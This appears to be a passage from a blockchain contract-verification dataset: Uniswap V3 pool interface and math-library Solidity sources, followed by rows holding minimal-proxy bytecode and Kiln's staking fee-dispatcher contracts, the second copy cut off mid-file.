position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissioned pool actions\n/// @notice Contains pool methods that may only be called by the factory owner\ninterface IUniswapV3PoolOwnerActions {\n /// @notice Set the denominator of the protocol's % share of the fees\n /// @param feeProtocol0 new protocol fee for token0 of the pool\n /// @param feeProtocol1 new protocol fee for token1 of the pool\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;\n\n /// @notice Collect the protocol fee accrued to the pool\n /// @param recipient The address to which collected protocol fees should be sent\n /// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1\n /// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0\n /// @return amount0 The protocol fee collected in token0\n /// @return amount1 The protocol fee collected in token1\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolEvents.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Events emitted by a pool\n/// @notice Contains all events emitted by the pool\ninterface IUniswapV3PoolEvents {\n /// @notice Emitted exactly once by a pool when #initialize is first called on the pool\n /// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize\n /// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96\n /// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool\n event Initialize(uint160 sqrtPriceX96, int24 tick);\n\n /// @notice Emitted when liquidity is minted for a given position\n /// @param sender The address that minted the liquidity\n /// @param owner The owner of the position and recipient of any minted liquidity\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity minted to the position range\n /// @param amount0 How much token0 was required for the minted liquidity\n /// @param amount1 How much token1 was required for the minted liquidity\n event Mint(\n address sender,\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted when fees are collected by the owner of a position\n /// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees\n /// @param owner The owner of the position for which fees are collected\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount0 The amount of token0 fees collected\n /// @param amount1 The amount of token1 fees collected\n event Collect(\n address indexed owner,\n address recipient,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount0,\n uint128 amount1\n );\n\n /// @notice Emitted when a position's liquidity is removed\n /// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect\n /// @param owner The owner of the position for which liquidity is removed\n /// @param tickLower The lower tick of the position\n /// @param tickUpper The upper tick of the position\n /// @param amount The amount of liquidity to remove\n /// @param amount0 The amount of token0 withdrawn\n /// @param amount1 The amount of token1 withdrawn\n event Burn(\n address indexed owner,\n int24 indexed tickLower,\n int24 indexed tickUpper,\n uint128 amount,\n uint256 amount0,\n uint256 amount1\n );\n\n /// @notice Emitted by the pool for any swaps between token0 and token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the output of the swap\n /// @param amount0 The delta of the token0 balance of the pool\n /// @param amount1 The delta of the token1 balance of the pool\n /// @param sqrtPriceX96 The sqrt(price) of the pool after the swap, as a Q64.96\n /// @param liquidity The liquidity of the pool after the swap\n /// @param tick The log base 1.0001 of price of the pool after the swap\n event Swap(\n address indexed sender,\n address indexed recipient,\n int256 amount0,\n int256 amount1,\n uint160 sqrtPriceX96,\n uint128 liquidity,\n int24 tick\n );\n\n /// @notice Emitted by the pool for any flashes of token0/token1\n /// @param sender The address that initiated the swap call, and that received the callback\n /// @param recipient The address that received the tokens from flash\n /// @param amount0 The amount of token0 that was flashed\n /// @param amount1 The amount of token1 that was flashed\n /// @param paid0 The amount of token0 paid for the flash, which can exceed the amount0 plus the fee\n /// @param paid1 The amount of token1 paid for the flash, which can exceed the amount1 plus the fee\n event Flash(\n address indexed sender,\n address indexed recipient,\n uint256 amount0,\n uint256 amount1,\n uint256 paid0,\n uint256 paid1\n );\n\n /// @notice Emitted by the pool for increases to the number of observations that can be stored\n /// @dev observationCardinalityNext is not the observation cardinality until an observation is written at the index\n /// just before a mint/swap/burn.\n /// @param observationCardinalityNextOld The previous value of the next observation cardinality\n /// @param observationCardinalityNextNew The updated value of the next observation cardinality\n event IncreaseObservationCardinalityNext(\n uint16 observationCardinalityNextOld,\n uint16 observationCardinalityNextNew\n );\n\n /// @notice Emitted when the protocol fee is changed by the pool\n /// @param feeProtocol0Old The previous value of the token0 protocol fee\n /// @param feeProtocol1Old The previous value of the token1 protocol fee\n /// @param feeProtocol0New The updated value of the token0 protocol fee\n /// @param feeProtocol1New The updated value of the token1 protocol fee\n event SetFeeProtocol(uint8 feeProtocol0Old, uint8 feeProtocol1Old, uint8 feeProtocol0New, uint8 feeProtocol1New);\n\n /// @notice Emitted when the collected protocol fees are withdrawn by the factory owner\n /// @param sender The address that collects the protocol fees\n /// @param recipient The address that receives the collected protocol fees\n /// @param amount0 The amount of token0 protocol fees that is withdrawn\n /// @param amount0 The amount of token1 protocol fees that is withdrawn\n event CollectProtocol(address indexed sender, address indexed recipient, uint128 amount0, uint128 amount1);\n}\n"
},
"contracts/libraries/BitMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title BitMath\n/// @dev This library provides functionality for computing bit properties of an unsigned integer\nlibrary BitMath {\n /// @notice Returns the index of the most significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// x >= 2**mostSignificantBit(x) and x < 2**(mostSignificantBit(x)+1)\n /// @param x the value for which to compute the most significant bit, must be greater than 0\n /// @return r the index of the most significant bit\n function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n if (x >= 0x100000000000000000000000000000000) {\n x >>= 128;\n r += 128;\n }\n if (x >= 0x10000000000000000) {\n x >>= 64;\n r += 64;\n }\n if (x >= 0x100000000) {\n x >>= 32;\n r += 32;\n }\n if (x >= 0x10000) {\n x >>= 16;\n r += 16;\n }\n if (x >= 0x100) {\n x >>= 8;\n r += 8;\n }\n if (x >= 0x10) {\n x >>= 4;\n r += 4;\n }\n if (x >= 0x4) {\n x >>= 2;\n r += 2;\n }\n if (x >= 0x2) r += 1;\n }\n\n /// @notice Returns the index of the least significant bit of the number,\n /// where the least significant bit is at index 0 and the most significant bit is at index 255\n /// @dev The function satisfies the property:\n /// (x & 2**leastSignificantBit(x)) != 0 and (x & (2**(leastSignificantBit(x)) - 1)) == 0)\n /// @param x the value for which to compute the least significant bit, must be greater than 0\n /// @return r the index of the least significant bit\n function leastSignificantBit(uint256 x) internal pure returns (uint8 r) {\n require(x > 0);\n\n r = 255;\n if (x & type(uint128).max > 0) {\n r -= 128;\n } else {\n x >>= 128;\n }\n if (x & type(uint64).max > 0) {\n r -= 64;\n } else {\n x >>= 64;\n }\n if (x & type(uint32).max > 0) {\n r -= 32;\n } else {\n x >>= 32;\n }\n if (x & type(uint16).max > 0) {\n r -= 16;\n } else {\n x >>= 16;\n }\n if (x & type(uint8).max > 0) {\n r -= 8;\n } else {\n x >>= 8;\n }\n if (x & 0xf > 0) {\n r -= 4;\n } else {\n x >>= 4;\n }\n if (x & 0x3 > 0) {\n r -= 2;\n } else {\n x >>= 2;\n }\n if (x & 0x1 > 0) r -= 1;\n }\n}\n"
},
"contracts/libraries/UnsafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math functions that do not check inputs or outputs\n/// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks\nlibrary UnsafeMath {\n /// @notice Returns ceil(x / y)\n /// @dev division by 0 has unspecified behavior, and must be checked externally\n /// @param x The dividend\n /// @param y The divisor\n /// @return z The quotient, ceil(x / y)\n function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) {\n assembly {\n z := add(div(x, y), gt(mod(x, y), 0))\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint96.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint96\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\n/// @dev Used in SqrtPriceMath.sol\nlibrary FixedPoint96 {\n uint8 internal constant RESOLUTION = 96;\n uint256 internal constant Q96 = 0x1000000000000000000000000;\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 800
},
"metadata": {
"bytecodeHash": "none"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"libraries": {}
}
}}
|
1 | 19,497,381 |
b90c465e377571e5aa91e71d5071a4c09870bbc36c9ddfc6b662d254e863b297
|
8d99825fd12ce5fe69258d726cc5bc8c13252c028fb8138085d7754ba2fe7c8b
|
afae64e70f5edcb5af8bb22e3a7baae4203057e5
|
1e68238ce926dec62b3fbc99ab06eb1d85ce0270
|
7d735508202b7738d3dc82d26850bea580d368ca
|
3d602d80600a3d3981f3363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"abi"
]
}
},
"metadata": {
"useLiteralContent": true
}
}
}}
|
1 | 19,497,381 |
b90c465e377571e5aa91e71d5071a4c09870bbc36c9ddfc6b662d254e863b297
|
8d99825fd12ce5fe69258d726cc5bc8c13252c028fb8138085d7754ba2fe7c8b
|
afae64e70f5edcb5af8bb22e3a7baae4203057e5
|
1e68238ce926dec62b3fbc99ab06eb1d85ce0270
|
faf3babdacb944207941fe44309392d04ef4d8ae
|
3d602d80600a3d3981f3363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73933fbfeb4ed1f111d12a39c2ab48657e6fc875c65af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function 